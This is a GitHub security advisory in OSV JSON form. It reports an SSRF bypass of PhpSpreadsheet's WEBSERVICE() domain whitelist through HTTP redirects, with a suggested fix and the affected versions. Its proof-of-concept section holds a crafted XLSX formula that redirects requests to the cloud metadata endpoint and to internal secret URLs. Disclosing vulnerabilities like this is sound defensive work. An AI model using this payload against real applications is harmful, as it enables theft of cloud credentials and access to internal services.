{"id":"GHSA-6hq5-7373-42rg","summary":"PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist","details":"### Summary\n\nThe domain whitelist introduced in PhpSpreadsheet 5.4.0 for the `WEBSERVICE()` formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but `file_get_contents()` follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.\n\n### Details\n\nIn `Calculation/Web/Service.php`, the `webService()` method validates the URL's host against a domain whitelist set via `Spreadsheet::setDomainWhiteList()`. If the host passes validation, the method calls `file_get_contents($url, false, $ctx)` to fetch the content.\n\nThe stream context does not disable redirect following:\n\n```php\n$ctxArray = [\n    'http' =\u003e [\n        'user_agent' =\u003e 'Mozilla/5.0 ...',\n        // follow_location defaults to true\n        // max_redirects defaults to 20\n    ],\n];\n```\n\nPHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is **not** re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.\n\n**Vulnerable code** (`Calculation/Web/Service.php`):\n\n```php\n// Whitelist check — runs ONCE on the initial URL\n$domainWhiteList = $cell?-\u003egetWorksheet()-\u003egetParent()?-\u003egetDomainWhiteList() ?? [];\n$host = $parsed['host'] ?? '';\nif (!in_array($host, $domainWhiteList, true)) {\n    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;\n}\n\n// HTTP request — follows redirects to ANY destination\n$ctx = stream_context_create($ctxArray);\n$output = @file_get_contents($url, false, $ctx);\n```\n\nAdditionally, the whitelist check uses only the hostname from `parse_url()`, ignoring the port. This means whitelisting `example.com` permits access to all ports on that host.\n\n### PoC\n\n**Prerequisites:**\n- Application uses PhpSpreadsheet \u003e= 5.4.0\n- Application calls `$spreadsheet-\u003esetDomainWhiteList([...])` with at least one domain\n- Application calls `$cell-\u003egetCalculatedValue()` on uploaded XLSX files\n\n**Attack steps:**\n\n1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).\n\n2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:\n\n```xml\n\u003cc r=\"A1\"\u003e\n  \u003cf\u003e_xlfn.WEBSERVICE(\"http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/\")\u003c/f\u003e\n\u003c/c\u003e\n```\n\n3. Upload the XLSX to the target application. The calculation engine:\n   - Validates `whitelisted-domain.com` against the whitelist — **passes**\n   - Calls `file_get_contents(\"http://whitelisted-domain.com/redirect?url=...\")` \n   - `file_get_contents` follows the 302 redirect to `http://169.254.169.254/latest/meta-data/` — **no re-validation**\n   - Returns the cloud metadata response as the cell's calculated value\n\n**Lab reproduction:**\n\n```bash\n# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)\n# App whitelists \"trusted-api.example.com\"\n# Redirect server on trusted-api.example.com:7071 returns 302 → internal target\n\n# Test 1: Direct internal access — BLOCKED by whitelist\n=WEBSERVICE(\"http://127.0.0.1:9090/internal-api/secrets\")\n→ Result: null (blocked)\n\n# Test 2: Via redirect from whitelisted domain — BYPASS\n=WEBSERVICE(\"http://trusted-api.example.com:7071/redirect-to-internal\")\n→ Result: {\"ssrf\":\"CONFIRMED\",\"secret\":\"internal-api-key-LATEST\",\"server\":\"Linux ...\"}\n```\n\nConfirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).\n\n### Impact\n\nAn attacker who can upload XLSX files to an application that uses `setDomainWhiteList()` and `getCalculatedValue()` can:\n\n- **Bypass the domain whitelist** by routing requests through a whitelisted domain that redirects to internal targets\n- **Exfiltrate cloud metadata** (AWS/GCP/Azure instance credentials) via `http://169.254.169.254/`\n- **Access internal services** not exposed to the internet\n- **Port-scan internal networks** via any whitelisted hostname (port is not validated)\n\nThis is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.\n\n**Attack scenarios:**\n- Whitelisted domain has an open redirect vulnerability\n- Attacker controls the whitelisted domain (e.g., a free-tier API service)\n- DNS rebinding after the whitelist check\n\n### Suggested Fix\n\nDisable redirect following in the stream context:\n\n```php\n$ctxArray = [\n    'http' =\u003e [\n        'user_agent' =\u003e '...',\n        'follow_location' =\u003e false,\n        'max_redirects' =\u003e 0,\n    ],\n];\n```\n\nAlternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.\n\nAdditionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.\n\n### Related\n\nThis vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions \u003c 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.\n\nExisting SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.\n\n---","aliases":["CVE-2026-59931"],"modified":"2026-07-23T15:11:51.323646Z","published":"2026-07-23T14:55:48Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-23T14:55:48Z","nvd_published_at":null,"cwe_ids":["CWE-918"]},"references":[{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6hq5-7373-42rg"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/commit/7ef7b25e8548a6ded79dac74e2e2c7acdac38d8d"},{"type":"PACKAGE","url":"https://github.com/PHPOffice/PhpSpreadsheet"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/1.30.6"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.1.18"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/2.4.7"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.7"},{"type":"WEB","url":"https://github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.8.1"}],"affected":[{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"5.8.1"}]}],"versions":["4.0.0","4.1.0","4.2.0","4.3.0","4.3.1","4.4.0","4.5.0","5.0.0","5.1.0","5.2.0","5.3.0","5.4.0","5.5.0","5.6.0","5.7.0","5.8.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-6hq5-7373-42rg/GHSA-6hq5-7373-42rg.json","last_known_affected_version_range":"\u003c= 5.8.0"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.10.7"}]}],"versions":["3.10.0","3.10.1","3.10.2","3.10.3","3.10.4","3.10.5","3.10.6","3.3.0","3.4.0","3.5.0","3.6.0","3.7.0","3.8.0","3.9.0","3.9.1","3.9.2","3.9.3"],"database_specific":{"last_known_affected_version_range":"\u003c= 3.10.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-6hq5-7373-42rg/GHSA-6hq5-7373-42rg.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.2.0"},{"fixed":"2.4.7"}]}],"versions":["2.2.0","2.2.1","2.2.2","2.3.0","2.3.10","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.9","2.4.0","2.4.1","2.4.2","2.4.3","2.4.4","2.4.5","2.4.6"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.4.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-6hq5-7373-42rg/GHSA-6hq5-7373-42rg.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"2.1.18"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.14","2.1.15","2.1.16","2.1.17","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 2.1.17","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-6hq5-7373-42rg/GHSA-6hq5-7373-42rg.json"}},{"package":{"name":"phpoffice/phpspreadsheet","ecosystem":"Packagist","purl":"pkg:composer/phpoffice/phpspreadsheet"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.30.6"}]}],"versions":["1.0.0","1.0.0-beta","1.0.0-beta2","1.1.0","1.10.0","1.10.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.15.0","1.16.0","1.17.0","1.17.1","1.18.0","1.19.0","1.2.0","1.2.1","1.20.0","1.21.0","1.22.0","1.23.0","1.24.0","1.24.1","1.25.0","1.25.1","1.25.2","1.26.0","1.27.0","1.27.1","1.28.0","1.29.0","1.29.1","1.29.10","1.29.11","1.29.12","1.29.2","1.29.4","1.29.5","1.29.6","1.29.7","1.29.8","1.29.9","1.3.0","1.3.1","1.30.0","1.30.1","1.30.2","1.30.3","1.30.4","1.30.5","1.4.0","1.4.1","1.5.0","1.5.1","1.5.2","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0"],"database_specific":{"last_known_affected_version_range":"\u003c= 1.30.5","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-6hq5-7373-42rg/GHSA-6hq5-7373-42rg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"}]}